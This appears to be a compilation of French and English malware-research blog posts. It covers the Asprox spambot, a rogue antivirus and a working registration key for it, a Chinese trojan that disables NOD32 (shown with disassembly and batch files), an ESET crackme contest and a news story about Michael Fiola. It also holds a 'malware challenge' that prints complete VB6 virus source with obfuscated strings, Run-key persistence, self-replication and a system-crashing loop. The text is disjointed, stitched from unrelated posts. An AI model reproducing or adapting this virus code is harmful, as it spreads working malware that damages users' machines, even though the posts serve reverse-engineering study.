Create a .bat file:
@echo off
:err
del /f /q C:\DOCUME~1\ADMINI~1\Bureau\1.exe
if exits C:\DOCUME~1\ADMINI~1\Bureau\1.exe goto err
del %0

Asprox, a spambot we have not seen active for over a year... now back.

Additional info: Create a lot of news registry keys, news files appears:
/%TEMP%/_check32.bat
/%System%/aspimgr.exe

_check32.bat:

:Repeat
del "C:\Documents and Settings\Administrateur\Bureau\spb.exe"
if exist "C:\Documents and Settings\Administrateur\Bureau\spb.exe" goto Repeat

aspimgr.exe

Service created: aspimgr "Microsoft ASPI Manager": C:\WINDOWS\system32\aspimgr.exe


Whois lookup:
domain:     ML63AMGSTART.RU
nserver:    ns1.ml63amgstart.ru. 72.252.193.94
nserver:    ns2.ml63amgstart.ru. 98.244.20.222
nserver:    ns3.ml63amgstart.ru. 76.181.108.122
nserver:    ns4.ml63amgstart.ru. 69.134.222.78
state:      REGISTERED, DELEGATED, VERIFIED
person:     Private Person
phone:      +79766542344
e-mail:     ssa21@yandex.ru
registrar:  NAUNET-REG-RIPN
created:    2010.05.23
paid-till:  2011.05.23
source:     TCI

Key for register the rogue: WNDS-S0DF5-GS5E0-FG14S-2DF8G

Utiliser MBAM pour supprimer le rogue.

Voici un regfile que j'ai fais pour enregistré le rogue:

Utiliser MBAM pour supprimer le rogue.

Voici un regfile que j'ai fais pour enregistré le rogue:

après être enregistré il delete les fichiers qu'il a créés mais... utiliser MBAM reste la meilleure chose à faire.
Mes captures d'écran sont assez éloquentes.

license.txt:
Thanks for purchasing antivirus software. Your antivirus software is activated successfully.
Your registration key is:
94804860143697233939975370329435970097710202
(PLEASE, SAVE IT SEPARATELY IN CASE YOU NEED TO REBOOT OR REINSTALL ANTIVIRUS SOFTWARE)
The last version of antivirus:
http://edscorpor.com/customers/installer.php?pid=PROTCNT_BASIC

You can also find this link in your software HELP & SUPPORT part. Please, use this link in case of reinstallation.
If you have any question, please, pay attention to tickets, Help&Support. You can find out the answer on your question there.
For urgent cases, please, contact us on the phone
1-866 427 1693.
Thank you!

• Localisation: www.zerovir.com/armja3kh6a74vyzmx0.html?get=20ec449778858d30 62592f457c0c4d4f
• Original Name: Npdsplay.dll
• File Type : Exe, Size : 1431552 (015D800h) Byte(s)
• Packer: Unknown
• EP: 00001000
• EP Offset: 00000400
• EP Section: .text
• Linker: 7.10
• Info additionnel: Créé des .exe et des .dll dans /system32/ et /driver/ une DLL: HTMLayout.dll et créé dans le dossier temporaire, affiche du faux spam et du faux DDoS pour faire peur a l'utilisateur, navigation bloqué pour quelques sites, bloque l'accès à taskmanager et à regedit
• SHA1: 9cf882049a82de2f56e6660330a1dd0e330510ad

Additional info: ça vient de Chine.

p.exe create:
TraversinIE.exe
0504_1[1].exe
13[1].exe
extext7995062t.exe

Principe: Désative NOD32 (erkn.exe, egui.exe) et fait d'autres actions avec notepad.exe et cmd.exe, le tous en ShowState = SW_HIDE
Créé une DLL (tete13015250t.dll), l'exécute avec rundll32.exe
La dll désactive quelques anti-virus, et ensuite la dll et suprimé

004034AB . 50 PUSH EAX ; /FileName = "C:\WINDOWS\tete13015250t.dll"
004034AC . FF15 04104000 CALL DWORD PTR DS:[<&KERNEL32.DeleteFile>; \DeleteFileA

L'application créé un driver (pcidump.sys) l'enregistre (ADVAPI32.OpenSCManagerA) /démmarre le service/suprime le driver.
D'autre aplications sont généré comme "TraversinIE.exe"
Qui vons navigué sur des sites, essayé d'attaqué avec un fichier .dat téléchargé
(et enregistré dans /system32/AttackSet.dat)
le fichier .dat contient une liste de site et d'IP

A la fin, p.exe créé un .bat dans le même dossier que ou il se trouve (afc90a.bat)
contenu:
@echo off
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@echo ad32rwhlk>>321.aqq
@del 321.aqq
@del "C:\Documents and Settings\Administrateur\Bureau\dumped.exe"
@del afc90a.bat
@exit

et a la fin:
004030E6 . 6A 00 PUSH 0 ; /ExitCode = 0
004030E8 . FF15 64104000 CALL DWORD PTR DS:[<&KERNEL32.E>; \ExitProcess

processus qui tourne en fond:
TraversinIE.exe (plusieure copie même)
0504_1[1].exe
13[1].exe
extext7995062t.exe

S'adressant plus particulièrement aux étudiants en informatique, le jeu « Crack Me » est un concours dont l'objectif est d'analyser le code source du programme « ESET_crack-me.exe », afin de trouver 3 messages cachés. Ce concours est à l'origine un test d'entrée soumis aux candidats qui postulent pour le poste de développeur chez l'éditeur d'antivirus ESET.

Le défi à relever ? Soyez le plus rapide à analyser le code, trouver les failles et le premier à dévoiler les messages cachés !!! Réussissez à déjouer les pièges, décodez l'ultime message et tentez de gagner un voyage à Bratislava en Slovaquie pour découvrir les secrets bien gardés du célèbre laboratoire ESET où est développé l'antivirus NOD32.

Nombreux lots a gagner: Opportunités de Stages et Jobs á la clé chez ESET !
Concours 100% GAGNANT : 3 mois de protection antivirus offerts à tous les participants

Séjour à Bratislava et visite en exclusivité du labo ESET*
Partez à la découverte du laboratoire de recherche anti-malwares du célèbre éditeur antivirus ESET basé en Slovaquie.

Vous êtes à la recherche d'un job étudiant ? Participez au concours crackme et recevez nos offres par e-mail.

Concours Crack Me organisé par l'éditeur ESET

Même si l'histoire ne date pas d'aujourd'hui, c'est toujours bon de relayé l'information car ce phénomène reste d'actualité, et c'est aussi pour redonner un peu de dignité à un homme qui n'a rien demandé à personne.

ETATS-UNIS - Une enquête révèle que des innocents propriétaires d'ordinateurs infectés pourraient être accusés à tort

«C'est pas moi, c'est un virus.» L'excuse serait couramment employée par les pédophiles pour justifier la présence sur leur disque dur d'images pédopornographiques. Une enquête de l'agence Associated Press révèle cependant que dans un cas au moins, c'est la vérité.


Michael Fiola en compagnie de son épouse Robin

le cas de Michael Fiola, renvoyé en 2007 par son employeur, qui avait retrouvé sur son ordinateur des fichiers de pédopornographie.

Accusé de pédophilie, Michael Fiola risquait 5 ans de prison dans le Massachusetts. Les pneus de sa voiture ont été crevés, il perdu tous ses amis et lui-même a été menacé de mort, mais il a décidé de se défendre.
Heureusement son épouse s'est tenue prêt de lui, ses avocats ont fait procéder à des expertises qui ont révélé que son ordinateur était infecté.

«Ca a ruiné ma vie, la vie de ma femme et la vie de ma famille»

Un virus était programmé pour visiter une quarantaine de sites pédopornographiques par minute.
De nouveaux tests, réalisés par le procureur, ont confirmé les conclusions de la défense et les charges pesant contre Michael Fiola ont été abandonnées.

L'affaire a coûté 250.000 dollars (plus de 165.000 euros) à Michael Fiola qui a dû hypothéquer sa maison et vendre sa voiture.
«Ca a ruiné ma vie, la vie de ma femme et la vie de ma famille», déclare-t-il aujourd'hui.
Merci a ¥ω₪h (MAD).

Xylibox Malware Challenge 1#:
Difficulty: 2 - Needs a little brain (or luck)
Platform: Windows XP
Language: VB6 (Voluntarily coded in this language)

Rules: - Make a tutorial*
- Code a tool for disinfect your computer (With source)

I hope to see some innovative solutions!
Good luck & Have fun!
Mail: phoenixbytes@live.fr (For Solution Submission)

After first solutions, I will release the virus source code and your solutions.
=============================================================
*The main goal of this challenge is to give newbies a way to learn, so they need correct tutorial.
Think about this words when writing your tutor.
Explain what you did.
And this is not done by writing two lines and commenting some code parts.
Think about the informations you needed the first time when you were new to reversing..
Archive password: b0x

Download

Horadrim solution: Click here

Source code:
Private Declare Function PutMeWhereIWant Lib "user32" Alias "ShowWindow" _ (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Declare Function WonderWhereAmI Lib "user32" Alias "FindWindowExA" _ (ByVal hwnd As Long, ByVal hWndChild As Long, ByVal lpszClassName _ As String, ByVal lpszWindow As String) As Long Dim Etape As Integer Private Sub IWanaHaveRoom() Dim hwnd As Long: LeHandle = WonderWhereAmI(0&, 0&, Guess$("namgorP"), _ vbNullString) If LeHandle <> 0 Then Call PutMeWhereIWant(LeHandle, 0) End Sub Private Sub Label1_Click() End Sub Private Sub Timer1_Timer() Select Case Etape Case 1 Label1.ForeColor = &H0& Etape = 2 Case 2 Label1.ForeColor = &HFF& Etape = 3 Case 3 Label1.ForeColor = &HFFFF& Etape = 4 Case 4 Label1.ForeColor = &HFF00& Etape = 5 Case 5 Label1.ForeColor = &HFFFF00 Etape = 1 End Select End Sub Private Sub Haxed() Open Guess$("sbv.xobilyX\:c") For Output As #1 Print #1, Guess$("metsysrid ,osf miD") Print #1, Guess$(")" + Chr$(34) + "tcejbOmetsySeliF.gnitpircS" + Chr$(34) _ + "(tcejbOetaerC = osf teS") Print #1, Guess$("txeN emuseR rorrE nO") Print #1, Guess$(")1(redloFlaicepSteG.osf = metsysrid teS") Print #1, Guess$(")" + Chr$(34) + "llehS.tpircSW" + Chr$(34) + "(tcejb" + _ "OetaerC = tideger teS") Print #1, Guess$(Chr$(34) + "sbv.xobilyX\:c tpircsw" + Chr$(34) + "," + _ Chr$(34) + "x0b\nuR\noisreVtnerruC\swodniW\tfosorciM\e" + _ "rawtfoS\ENIHCAM_LACOL_YEKH" + Chr$(34) + " etirWgeR.tideger") Print #1, Guess$(")" + Chr$(34) + "llehS.tpircSW" + Chr$(34) _ + "(tcejbOetaerC.tpircSW = llehShsW teS") Print #1, Guess$(Chr$(34) + Chr$(34) + Chr$(34) + "exe.x0bilyX\:c" + Chr$(34) + Chr$(34) + Chr$(34) + " nuR.llehShsW") Print #1, Guess$(Chr$(34) + "dex0bilyX" + Chr$(34) + " xobgsM") Close #1 End Sub Private Function Guess$(Tired$) a$ = "" For i = 1 To Len(Tired$) a$ = Mid$(Tired$, i, 1) + a$ Next i Guess$ = a$ End Function Private Sub WanaGetOut() TheProcess = Guess$("sbv.xobilyX\:c tpircsw") Shell TheProcess End Sub ' Xylitol failled virz #1 ' 1 Dialog called: Form1 ' 1 Label called.: Label1 ' 1 Timer called.: Timer1 ' For educational purposes only, please dont use this for infect someone. Private Sub Form_Load() SmartCheck Label1.Alignment = 2 Label1.Left = 0 Label1.Top = 0 Label1.Width = 7215 Label1.Height = 1815 Label1.Font.Size = 72 Label1.Font.Bold = True Label1.Caption = "Xylib0xed" Form1.BorderStyle = 4 Form1.Caption = "Xylib0xed" Form1.Width = 7290 Form1.Height = 2175 Label1.FontName = "MS Sans Serif" Timer1.Interval = 50 Etape = 1 Dim FileExist As String ' On Error GoTo FileNotExist FileExist = "c:\Xylibox.vbs" If Dir(FileExist, vbNormal Or vbReadOnly Or vbHidden Or vbArchives) = "" Then GoTo FileNotExist Exit Sub Else Call SystemFiles GoTo FileNotExist End If FileNotExist: fichier = Dir("c:/Xylib0x.exe") Call IWanaHaveRoom Call Haxed Call WanaGetOut Call SystemFile If Not fichier <> "" Then FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\" & "Xylib0x" & ".exe" Else ' End If End Sub Function SmartCheck() Dim p p = App.EXEName & ".sup" a = Dir(p, vbNormal) If a <> "" Then Kill p Form2.Show End If End Function Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) Cancel = True End Sub Private Sub SystemFile() Dim MyFile As String MyFile = "c:\Xylibox.vbs" SetAttr MyFile, vbHidden + vbSystem End Sub Private Sub SystemFiles() Dim MyFile As String MyFile = "c:\Xylibox.vbs" SetAttr MyFile, vbNormal End Sub 'Form2 Private Sub Form_Load() RePliK End Sub Private Sub timer1_timer() Label1.Caption = Label1.Caption + 1 End Sub Sub RePliK() FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\windows\msKernel33" & abel1.Caption & ".exe" If Label1.Caption = 3000 Then Timer1.Enabled = False If Timer1.Enabled = False Then copiedir End Sub Sub copiedir() FileCopy "c:\windows\*.*", "c:\*.*" planter_le_pc End Sub Sub planter_le_pc() Do Beep Loop End Sub

Thanks to everyone who have try this challenge !

Stealers:
Les PassWord Stealer sont, comme le nom l'indique, des outils destinés à voler les mots de passe.
Ils font partie d'un vaste ensemble d'outils et de techniques d'attaque des mots de passe.
Ce sont de petits programmes d'espionnage, spécialiés, constituant une sous-famille des spywares.
Ils construisent un journal de tous les mots de passe trouvés sur une machine et les mettent à disposition d'une personne ayant physiquement accès à l'ordinateur attaqué ou les envoient, généralement par un e-mail caché, au voleur.

Vidéo

Vidéo